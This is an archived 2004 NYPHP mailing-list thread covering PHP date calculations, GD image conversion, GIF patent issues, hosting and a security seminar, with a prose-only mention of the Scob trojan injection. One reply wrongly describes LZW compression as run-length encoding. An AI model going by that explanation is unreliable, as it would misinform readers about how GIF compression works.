I see a real world example with my morning coffee - that appears to have been spawned either just before or during the security course! How's that for "enhancing cognitive perseverance" ! (yes, I know this example exploits a server flaw and a crappy browser as opposed to sub-optimal PHP coding, but it is remarkable to see a js injection so similar to what we went over last night, and it drives home the importance of putting the proper PHP in place on our PHP systems - to prevent the same attacks) -=john From danielc at analysisandsolutions.com Fri Jun 25 12:45:46 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Fri, 25 Jun 2004 12:45:46 -0400 Subject: [nycphp-talk] IIS server exploit with malicious js injection spawned during PHP Security Seminar In-Reply-To: <32416-37809@sneakemail.com> References: <41EE526EC2D3C74286415780D3BA9F8702C53EBE@ehost011-1.exch011.intermedia.net> <32416-37809@sneakemail.com> Message-ID: <20040625164546.GA23288@panix.com> On Fri, Jun 25, 2004 at 12:40:55PM -0400, inforequest wrote: > > learn that a server exploit has injected malicious js code into footers > of website pages, with the js designed to exploit an M$ IE flaw, > secretely downloading the Scob trojan And people wonder why I keep JavaScrap turned off... --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 >From hans not junk at nyphp.com Fri Jun 25 12:46:01 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id 275A9A8771 for ; Fri, 25 Jun 2004 12:46:01 -0400 (EDT) Received: from ehost011-1.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Fri, 25 Jun 2004 09:38:01 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] Recurring Monthly Calculations Date: Fri, 25 Jun 2004 09:45:57 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702C53F02 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] Recurring Monthly Calculations Thread-Index: AcRa0XklO3pXLe/QQUalvlU4tLscdQAAkERQ From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 25 Jun 2004 16:38:01.0918 (UTC) FILETIME=[C80D8DE0:01C45AD2] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 Jun 2004 16:46:01 -0000 > >I needed to write a function that will tell me the dates of future=20 > >events that recurr monthly by day of month. So for instance, "4th=20 > >Tuesday of the month for the next 6 months" > > =20 > > >=20 > Out of curiosity, why not use PEAR::Calendar? >=20 > http://pear.php.net/manual/en/package.datetime.php >=20 > Seems to enable the kind of logical loops that you are=20 > shooting for, right? Well, yes and no. Their function is limited, ie it won't return a list of dates that I could tell. Plus I didn't want to load up 100K+ of code for something so small :) Thanks for the links guys... my implmentation is actually very similar to the VBA script posted (hark!) H From Kbedi at inta.org Fri Jun 25 12:53:57 2004 From: Kbedi at inta.org (Kshitij Bedi) Date: Fri, 25 Jun 2004 12:53:57 -0400 Subject: [nycphp-talk] Recurring Monthly Calculations Message-ID: I think this should do what you are trying to achieve Its not very clean though -----Original Message----- From: Hans Zaunere [mailto:hans not junk at nyphp.com] Sent: Friday, June 25, 2004 12:46 PM To: NYPHP Talk Subject: RE: [nycphp-talk] Recurring Monthly Calculations > >I needed to write a function that will tell me the dates of future > >events that recurr monthly by day of month. So for instance, "4th > >Tuesday of the month for the next 6 months" > > > > > > Out of curiosity, why not use PEAR::Calendar? > > http://pear.php.net/manual/en/package.datetime.php > > Seems to enable the kind of logical loops that you are > shooting for, right? Well, yes and no. Their function is limited, ie it won't return a list of dates that I could tell. Plus I didn't want to load up 100K+ of code for something so small :) Thanks for the links guys... my implmentation is actually very similar to the VBA script posted (hark!) H _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk -------------- next part -------------- A non-text attachment was scrubbed... Name: reccurr.php Type: application/octet-stream Size: 1216 bytes Desc: not available URL: From Kbedi at inta.org Fri Jun 25 12:57:42 2004 From: Kbedi at inta.org (Kshitij Bedi) Date: Fri, 25 Jun 2004 12:57:42 -0400 Subject: [nycphp-talk] Gif -> Png or Jpeg Message-ID: Any Ideas on converting Gif to Png or Jpeg using PHP GD? From crisscott at netzero.com Fri Jun 25 12:56:28 2004 From: crisscott at netzero.com (Scott Mattocks) Date: Fri, 25 Jun 2004 12:56:28 -0400 Subject: [nycphp-talk] Recurring Monthly Calculations In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702C53EBE@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702C53EBE@ehost011-1.exch011.intermedia.net> Message-ID: <40DC593C.6060902@netzero.com> One more for you. This one is written in PHP but from what I can tell it will only get you the date for the next month. It shouldn't be too hard to change that though. http://px.sklar.com/code.html?id=702 Scott Mattocks From phillip.powell at adnet-sys.com Fri Jun 25 13:11:17 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Fri, 25 Jun 2004 13:11:17 -0400 Subject: [nycphp-talk] Gif -> Png or Jpeg In-Reply-To: References: Message-ID: <40DC5CB5.8080105@adnet-sys.com> Kshitij Bedi wrote: >Any Ideas on converting Gif to Png or Jpeg using PHP GD? >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > There is none in PHP GD that I know of, I'm using gif2png utility to do that. Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From susan_shemin at yahoo.com Fri Jun 25 13:11:13 2004 From: susan_shemin at yahoo.com (Susan Shemin) Date: Fri, 25 Jun 2004 10:11:13 -0700 (PDT) Subject: [nycphp-talk] Gif -> Png or Jpeg In-Reply-To: Message-ID: <20040625171113.62871.qmail@web53706.mail.yahoo.com> As relating to PHP GD... My website host does not offer PHP GD. Are there any hosts that do offer it? And if not, any ideas on why a host would exclude the feature? Kshitij Bedi wrote:Any Ideas on converting Gif to Png or Jpeg using PHP GD? _______________________________________________ talk mailing list talk at lists.nyphp.org http://lists.nyphp.org/mailman/listinfo/talk --------------------------------- Do you Yahoo!? Take Yahoo! Mail with you! Get it on your mobile phone. -------------- next part -------------- An HTML attachment was scrubbed... URL: From jlacey at att.net Fri Jun 25 13:21:44 2004 From: jlacey at att.net (John Lacey) Date: Fri, 25 Jun 2004 11:21:44 -0600 Subject: [nycphp-talk] Gif -> Png or Jpeg In-Reply-To: <20040625171113.62871.qmail@web53706.mail.yahoo.com> References: <20040625171113.62871.qmail@web53706.mail.yahoo.com> Message-ID: <40DC5F28.9090408@att.net> Susan Shemin wrote: > As relating to PHP GD... My website host does not offer PHP GD. Are > there any hosts that do offer it? Here's one I use, and the price is right... http://www.edmunds-enterprises.com/linux/hosting_plans.php frankly, I don't know how they do it for that price, but so far so good -- their tech support is excellent in my experience they support GD.. I've put an phpinfo() call that you can look at: http://www.cerebralfusion.com/info.php John From kushner at gmail.com Fri Jun 25 13:33:09 2004 From: kushner at gmail.com (Daniel Kushner) Date: Fri, 25 Jun 2004 13:33:09 -0400 Subject: [nycphp-talk] Recurring Monthly Calculations In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702C53EBE@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702C53EBE@ehost011-1.exch011.intermedia.net> Message-ID: <7ac626ed04062510333c643b16@mail.gmail.com> just hacked this. Needs some error checking before date calculation. The function signiture is a little different from what you asked ;) You can get rid of the two array definitions with some more PHP. function recurMonthlyByDay($dayOfWeek, $week, $startYear, $startMonth, $count) { $daysArray = array( 1 => 'Monday', 2 => 'Tuesday', 3 => 'Wednesday', 4 => 'Thursday', 5 => 'Friday', 6 => 'Saturday', 7 => 'Sunday'); $weeksArray = array(1 => 'First', 2 => 'Second', 3 => 'Third', 4 => 'Fourth'); $result = array(); for($i = 0; $i < $count; ++$i) { $result[] = strtotime("$weeksArray[$week] $daysArray[$dayOfWeek]", mktime(0,0,0,$startMonth++, 1, $startYear)); } return $result; } $dates = recurMonthlyByDay(3, 4, 2004, 5, 23); foreach ($dates as $date) { echo date("l \\t\h\e jS, M Y", $date); echo "\n"; } On Fri, 25 Jun 2004 09:11:26 -0700, Hans Zaunere wrote: > > > Hey all, > > I needed to write a function that will tell me the dates of future > events that recurr monthly by day of month. So for instance, "4th > Tuesday of the month for the next 6 months" > > It ended up to be more difficult than I thought and I wanted to run the > function past you guys. See attached. Am I missing some clever way of > doing this? The function seems to work, but another set of eyes would > be helpful - and it depends on UNIX timestamps, so... > > The function is called as: > > recurMonthlyByDay(2,4,20030522,23); > > Which would return an array listing the 4th Tuesday, starting in May of > 2003, for the next 23 months. If you specify the second argument to be > greater than 5, then the last Tuesday would always be returned. > > Thanks guys... feel free to use the function, too (that is, if it works) > > H > > > > > RecurMonthlyByDay.inc - 1K > noname - 1K Download > From hans at cyberxdesigns.com Fri Jun 25 13:44:25 2004 From: hans at cyberxdesigns.com (Hans C. Kaspersetz) Date: Fri, 25 Jun 2004 13:44:25 -0400 Subject: [nycphp-talk] IIS server exploit with malicious js injection spawned during PHP Security Seminar In-Reply-To: <32416-37809@sneakemail.com> References: <41EE526EC2D3C74286415780D3BA9F8702C53EBE@ehost011-1.exch011.intermedia.net> <32416-37809@sneakemail.com> Message-ID: <40DC6479.9020101@cyberxdesigns.com> I had the same reaction when I saw the news this morning. Chris / Tim, thanks for a great talk last night. Got a lot out of it. Amazing how you guys arranged for the demonstration this morning. Guess I will have to go to the rest of the series to be clued in on upcoming events on the web. Thank, Hans K. ------ snip ------ From jeffknight at mac.com Fri Jun 25 13:48:54 2004 From: jeffknight at mac.com (putamare) Date: Fri, 25 Jun 2004 13:48:54 -0400 Subject: [nycphp-talk] Gif -> Png or Jpeg In-Reply-To: References: Message-ID: It all depends on what libraries you have installed. Many installations of the gd library include gif read support. What is the output of on your sever? The patent that prevents the inclusion of gif support only applies to the use of LZW compression when writing a gif, so in general, read support is not a problem. Also check out libungif http://sourceforge.net/projects/libungif which saves gifs w/o compression avoiding patent issues. Also note that the worldwide patent expires on July 7, 2004, so things might turn around after then. On Jun 25, 2004, at 12:57 PM, Kshitij Bedi wrote: > Any Ideas on converting Gif to Png or Jpeg using PHP GD? > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk Jeff Knight putamare not junk at putamare.net From Cbielanski at inta.org Fri Jun 25 13:58:29 2004 From: Cbielanski at inta.org (Chris Bielanski) Date: Fri, 25 Jun 2004 13:58:29 -0400 Subject: [OT] [nycphp-talk] Gif -> Png or Jpeg Message-ID: Let me see if I follow the sordid details as Jeff opened them... I am of the understanding that the GIF format is a bitmap compressed with run-length encoding (RLE). What I don't really have information about is this: Does Recursive-RLE mean LZW and vice versa? Maybe I should re-read or find anew the whitepapers I consumed a couple years back when I was going to make a realtime palette-rotator for GIF images. and some more on the Lempel-Ziv and Lempel-Ziv-Welch algorithms. The sad part is I can remember what the alphabet soup means, and can even visualize the chunk processing for loading a gif-stream, but I coulnd't tell you what LZW actually is, or how it applies to GIF formatting. Also, how does PNG compress itself without using LZW? Thanks, Chris Bielanski Web Programmer, International Trademark Association, 1133 Avenue of the Americas, 33rd Floor New York, NY 10036 +1 (212) 642-1745, f: +1 (212) 768-7796 mailto:cbielanski at inta.org, www.inta.org INTA -- 125 Years of Excellence > -----Original Message----- > From: putamare [mailto:jeffknight at mac.com] > Sent: Friday, June 25, 2004 1:49 PM > To: NYPHP Talk > Subject: Re: [nycphp-talk] Gif -> Png or Jpeg > > > It all depends on what libraries you have installed. Many > installations > of the gd library include gif read support. > > What is the output of > > on your sever? > > The patent that prevents the inclusion of gif support only applies to > the use of LZW compression when writing a gif, so in general, read > support is not a problem. Also check out libungif > http://sourceforge.net/projects/libungif > which saves gifs w/o compression avoiding patent issues. Also > note that > the worldwide patent expires on July 7, 2004, so things might turn > around after then. > > On Jun 25, 2004, at 12:57 PM, Kshitij Bedi wrote: > > > Any Ideas on converting Gif to Png or Jpeg using PHP GD? > > _______________________________________________ > > talk mailing list > > talk at lists.nyphp.org > > http://lists.nyphp.org/mailman/listinfo/talk > > > Jeff Knight > putamare not junk at putamare.net > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > From csnyder at chxo.com Fri Jun 25 14:06:41 2004 From: csnyder at chxo.com (Chris Snyder) Date: Fri, 25 Jun 2004 14:06:41 -0400 Subject: [OT] [nycphp-talk] Gif -> Png or Jpeg In-Reply-To: References: Message-ID: <40DC69B1.1060106@chxo.com> Chris Bielanski wrote: >Also, how does PNG compress itself without using LZW? > Depends on how you ask it to compress -- it supports several schemes. I believe compression=6 is gzip but I could be wrong... From jeffknight at mac.com Fri Jun 25 14:10:32 2004 From: jeffknight at mac.com (putamare) Date: Fri, 25 Jun 2004 14:10:32 -0400 Subject: [OT] [nycphp-talk] Gif -> Png or Jpeg In-Reply-To: References: Message-ID: On Jun 25, 2004, at 1:58 PM, Chris Bielanski wrote: > but I coulnd't tell you what LZW actually is, Short explanation is that it changes a stream of data like 000000111000 etc. into 6x0,3x1,3x0 etc. (then represents it again in binary), which is usually shorter than the original stream. Note that encoding for 10101010101010101010101 etc. would actually be longer, but that isn't a very common pattern... > or how it applies to GIF formatting. As far as I can remember (but I can easily be wrong as I didn't care at the time, nor do I now), the patent issues (more than you'll want to know about that here: http://cloanto.com/users/mcb/19950127giflzw.html ), is that the patent restrictions apply to encoding, but not decoding, thus Software like Photoshop has to pay a licensing fee, but browsers like mozilla don't. > Also, how does PNG compress itself without using LZW? More than you ever wanted to know about png: http://www.libpng.org/pub/png/ & How PNG's Two-Dimensional Interlacing Works http://www.libpng.org/pub/png/pngpics.html jeff.knight not junkmail at nyphp.org From jonbaer at jonbaer.net Fri Jun 25 12:39:39 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Fri, 25 Jun 2004 12:39:39 -0400 Subject: [nycphp-talk] php5-rc hosting? Message-ID: <20040625163939.GA9983@jonbaer.net> few quick ?'s * anyone know of *any* hosting companies or private isps running php5-rc? * what was the name of the hosting comp that was affiliated with nyphp.org? im currently looking for an isp offering starttls, spop or variant email package over ssl. thanks. - jon -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From jonbaer at jonbaer.net Fri Jun 25 12:41:48 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Fri, 25 Jun 2004 12:41:48 -0400 Subject: [nycphp-talk] DIO ext on Win32 Message-ID: <20040625164148.GB9983@jonbaer.net> hi - does anyone know if the dio extension is running yet on win32 platforms? (or status of the extension for php5) ... thanks. - jon -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From jlacey at att.net Fri Jun 25 14:25:02 2004 From: jlacey at att.net (John Lacey) Date: Fri, 25 Jun 2004 12:25:02 -0600 Subject: [nycphp-talk] php5-rc hosting? In-Reply-To: <20040625163939.GA9983@jonbaer.net> References: <20040625163939.GA9983@jonbaer.net> Message-ID: <40DC6DFE.1090608@att.net> Jon Baer wrote: > few quick ?'s > > * anyone know of *any* hosting companies or private isps running php5-rc? dotgeek has free php5 hosting, but they don't currently support mysql http://www.dotgeek.org/ From jonbaer at jonbaer.net Fri Jun 25 12:47:43 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Fri, 25 Jun 2004 12:47:43 -0400 Subject: [nycphp-talk] Karma Discounts on Security Seminar In-Reply-To: <001a01c459f4$e34af810$e98d3818@oberon1> References: <001a01c459f4$e34af810$e98d3818@oberon1> Message-ID: <20040625164742.GC9983@jonbaer.net> I thought the seminar last night went well ... @ first glance it was a little odd to grasp the concept or possibilities of CSRF (which is sometimes difficult when reading a book or googling online for information), 9 times out of 10 its worth the time + money to get it from the source and I felt Chris Shiflett to be an excellent presenter. All in all I think Tim's objectives are well meant for the community. - Jon On Thu, Jun 24, 2004 at 10:09:38AM -0400, Tim Gales wrote: > I am afraid that I might fall into a trap of > trying to optimize profit contribution etc. and lose > sight of the real purpose (helping people get information > which will result in them doing better work). -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From danielc at analysisandsolutions.com Fri Jun 25 14:30:02 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Fri, 25 Jun 2004 14:30:02 -0400 Subject: [nycphp-talk] DIO ext on Win32 In-Reply-To: <20040625164148.GB9983@jonbaer.net> References: <20040625164148.GB9983@jonbaer.net> Message-ID: <20040625183002.GA21090@panix.com> Howdy: On Fri, Jun 25, 2004 at 12:41:48PM -0400, Jon Baer wrote: > > does anyone know if the dio extension is running yet on win32 platforms? > (or status of the extension for php5) ... I see there's an ext/php_dio.dll in my PHP 5 win32 snapshot, though not in my PHP 4 one. Get the snapshots at http://snaps.php.net/ --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From phillip.powell at adnet-sys.com Fri Jun 25 14:35:03 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Fri, 25 Jun 2004 14:35:03 -0400 Subject: [nycphp-talk] php5-rc hosting? In-Reply-To: <20040625163939.GA9983@jonbaer.net> References: <20040625163939.GA9983@jonbaer.net> Message-ID: <40DC7057.9010008@adnet-sys.com> Jon Baer wrote: >few quick ?'s > >* anyone know of *any* hosting companies or private isps running php5-rc? >* what was the name of the hosting comp that was affiliated with >nyphp.org? im currently looking for an isp offering starttls, spop or >variant email package over ssl. > >thanks. > >- jon > > > >------------------------------------------------------------------------ > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > I believe, of all places, www.myjavaserver.com is doing that. Phil -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 >From hans not junk at nyphp.com Fri Jun 25 14:57:08 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id 8F111A85F3 for ; Fri, 25 Jun 2004 14:57:08 -0400 (EDT) Received: from ehost011-1.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Fri, 25 Jun 2004 11:49:08 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Fri, 25 Jun 2004 11:57:05 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702C54019 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: 21 Rules of Thumb - How Microsoft develops its Software Thread-Index: AcRa5jUggxFWxDAeThGnf7Qlfonpkg== From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 25 Jun 2004 18:49:09.0041 (UTC) FILETIME=[19394210:01C45AE5] Subject: [nycphp-talk] 21 Rules of Thumb - How Microsoft develops its Software X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 25 Jun 2004 18:57:09 -0000 http://blogs.msdn.com/David_Gristwood/archive/2004/06/24/164849.aspx I know, let's keep the Microsoft bashing banter to a minimum... he does make some excellent points, learned from working on some of the most complex code ever created. H From sm11szw02 at sneakemail.com Fri Jun 25 15:36:34 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Fri, 25 Jun 2004 15:36:34 -0400 Subject: [nycphp-talk] 21 Rules of Thumb - How Microsoft develops its Software In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702C54019@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702C54019@ehost011-1.exch011.intermedia.net> Message-ID: <12665-25244@sneakemail.com> Hans Zaunere hans-at-nyphp.com |nyphp 04/2004| wrote: >http://blogs.msdn.com/David_Gristwood/archive/2004/06/24/164849.aspx > >I know, let's keep the Microsoft bashing banter to a minimum... he does >make some excellent points, learned from working on some of the most >complex code ever created. > >H >_______________________________________________ > > I disagree wholeheartedly (and it has nothing to do with bashing). I don't see a single excellent point, and I see a ton of misguided concepts. He's either a dreamer, delusional, or just a glass-half-empty-means-someone's-not-thirsty-anymore optimist with little real evidence supporting his "credentials". Name one instance where M$ released "great software on time" or for that matter even "software on time". Not once I can determine. From southwell at dneba.com Fri Jun 25 16:38:26 2004 From: southwell at dneba.com (Michael Southwell) Date: Fri, 25 Jun 2004 16:38:26 -0400 Subject: [nycphp-talk] php5-rc hosting? In-Reply-To: <20040625163939.GA9983@jonbaer.net> References: <20040625163939.GA9983@jonbaer.net> Message-ID: <6.1.0.6.2.20040625163612.01f54a50@mail.optonline.net> At 12:39 PM 6/25/2004, you wrote: >* what was the name of the hosting comp that was affiliated with >nyphp.org? im currently looking for an isp offering starttls, spop or >variant email package over ssl. It is thehostingcompany.us. I use them and have been very satisfied. It is not affiliated in any way with NYPHP, but some of the key members of NYPHP are affiliated with it (I am not one of them, in case anybody might by some wild stretch of the imagination consider me a key member of NYPHP). Michael Southwell VP, Education Department NYPHP michael.southwell at nyphp.org From rolan at omnistep.com Fri Jun 25 17:52:16 2004 From: rolan at omnistep.com (Rolan Yang) Date: Fri, 25 Jun 2004 17:52:16 -0400 Subject: [nycphp-talk] Gif -> Png or Jpeg In-Reply-To: References: Message-ID: <40DC9E90.900@omnistep.com> Here's a snippet of code from stuff i use. Hope it helps: $im=@ImageCreateFromjpeg($imgurl)) or $im=@ImageCreateFromgif($imgurl); if ($imgtype=="jpg") {imagejpeg($im,'',85);} else {imageTrueColorToPalette($im,1,256);imagepng($im);} Kshitij Bedi wrote: >Any Ideas on converting Gif to Png or Jpeg using PHP GD? >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > From tgales at tgaconnect.com Fri Jun 25 18:52:55 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Fri, 25 Jun 2004 18:52:55 -0400 Subject: [nycphp-talk] php5-rc hosting? In-Reply-To: <20040625163939.GA9983@jonbaer.net> Message-ID: <005a01c45b07$2806ced0$e98d3818@oberon1> Jon Baer writes: > * anyone know of *any* hosting companies or private isps > running php5-rc? > * what was the name of the hosting comp that was affiliated with > nyphp.org? im currently looking for an isp offering > starttls, spop or > variant email package over ssl. > Well NYPHP doesn't provide hosting per se. However, if you wanted to test out a concept, you could write it up as a project. You could then submit the project for approval. see: http://nyphp.org/content/presentations/nyphp/index.php?slide=9 (there are three consecutive slides that talk about projects and the approval process) You may have your system already finished -- I mean you might just be looking for a place to deploy it -- so in that case the above won't really apply. In that case, let this post just serve as a reminder to everyone that it is possible to develop things at NYPHP on release candidate software -- before there is a final/stable release of PHP 5 -- through the project submission process. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From jonbaer at jonbaer.net Sat Jun 26 04:17:04 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Sat, 26 Jun 2004 04:17:04 -0400 Subject: [nycphp-talk] Good IDE project for NYPHP ... Message-ID: <40DD3100.7010004@jonbaer.net> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 for a few days ive been toying around with the PHP-GTK based IDE called "Tulip" ... i hacked in some small annoying patches/fixes but nothing serious yet (GUI-wise) ... here is a URL if you aren't familiar ... http://tulip.solis.coop.br/ there are a few reasons why i like it ... a) its php based b) its pretty new/good start c) cross platform (w/ speed) d) gives a great dive/example into OO (extending Gtk objects) unfortunalty for myself it seems a large majority of the code was actually hacked using Spanish/Port. (not really an issue), but i had some thoughts about creating a "security profiling/watching" type of system ... anyways it unfortunate that i have to jump back into a j2ee/dynamo job again and didn't find this sooner, but i think "Tulip" (the english version) needs a good home :-) who knows, u mix Tulip w/ Glade and you get "Visual PHP" ... :-) - - jon - -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iD8DBQFA3TEAQdvbi5oMr0cRAoJNAKDTKKSXZTW+RSFS6SnT8jzGwEL81ACg5O+0 Iz9iqvD611eoDewauSchcoc= =iR74 -----END PGP SIGNATURE----- From tom at supertom.com Sat Jun 26 08:44:48 2004 From: tom at supertom.com (Tom) Date: Sat, 26 Jun 2004 08:44:48 -0400 Subject: [nycphp-talk] LIPHP meeting Monday @ 8pm Message-ID: <0HZX00AG91ENF9@mta5.srv.hcvlny.cv.net> Hey folks, The next LIPHP meeting is Monday 6/28 at 8pm in Hauppauge. Directions are here: http://www.liphp.org The topic for this evening will be regular expressions. It has been my experience that those of us who DIDN'T come from a Perl background tend to shy away from these, so I figured it would be a good opportunity to "nip this in the bud". Come on down for some great conversation, plus all the Krispy Kremes you can eat! See you Monday! Thanks, Tom http://www.liphp.org -------------- next part -------------- An HTML attachment was scrubbed... URL: From rolan at omnistep.com Sat Jun 26 10:07:28 2004 From: rolan at omnistep.com (Rolan Yang) Date: Sat, 26 Jun 2004 10:07:28 -0400 Subject: [nycphp-talk] Good IDE project for NYPHP ... In-Reply-To: <40DD3100.7010004@jonbaer.net> References: <40DD3100.7010004@jonbaer.net> Message-ID: <40DD831F.7050502@omnistep.com> Jon Baer wrote: > for a few days ive been toying around with the PHP-GTK based IDE > called "Tulip" ... i hacked in some small annoying patches/fixes but > nothing serious yet (GUI-wise) ... here is a URL if you aren't > familiar ... > > http://tulip.solis.coop.br/ > > there are a few reasons why i like it ... > > a) its php based > b) its pretty new/good start > c) cross platform (w/ speed) > d) gives a great dive/example into OO (extending Gtk objects) > Wow, Tulip is hot. Is there any alternative/more mature package available now that comes close to this? I like how the SQL testing/management is all integrated into the IDE. ~Rolan >From hans not junk at nyphp.com Sat Jun 26 16:27:39 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id 369B9A85EA for ; Sat, 26 Jun 2004 16:27:39 -0400 (EDT) Received: from ehost011-1.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Sat, 26 Jun 2004 13:19:37 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] 21 Rules of Thumb - How Microsoft develops itsSoftware Date: Sat, 26 Jun 2004 13:27:36 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702C542EB at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] 21 Rules of Thumb - How Microsoft develops itsSoftware Thread-Index: AcRa674x/NrKscWZRu6xt7sI9kHvngAzx0/w From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 26 Jun 2004 20:19:37.0379 (UTC) FILETIME=[E72DA730:01C45BBA] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 26 Jun 2004 20:27:39 -0000 > >http://blogs.msdn.com/David_Gristwood/archive/2004/06/24/164849.aspx > > > >I know, let's keep the Microsoft bashing banter to a minimum... he does=20 > >make some excellent points, learned from working on some of the most=20 > >complex code ever created. > > > I disagree wholeheartedly (and it has nothing to do with=20 > bashing). I don't see a single excellent point, and I see a=20 Fair enough. > ton of misguided concepts. He's either a dreamer, delusional,=20 > or just a=20 > glass-half-empty-means-someone's-not-thirsty-anymore optimist=20 > with little real evidence supporting his "credentials". I thought 4,5,9 and 12 were intersting. And point 14 is what MS is all about, and a major factor in their success... consistent look and feel and all that stuff. > Name one instance where M$ released "great software on time"=20 > or for that matter even "software on time". Not once I can determine. True, there is some marketing hype in there, but considering the scale and complexity of having to release Windows, there is some merit in their song and dance. H From sm11szw02 at sneakemail.com Sat Jun 26 17:33:57 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Sat, 26 Jun 2004 17:33:57 -0400 Subject: [nycphp-talk] 21 Rules of Thumb - How Microsoft develops itsSoftware In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702C542EB@ehost011-1.exch011.intermedia.net> References: 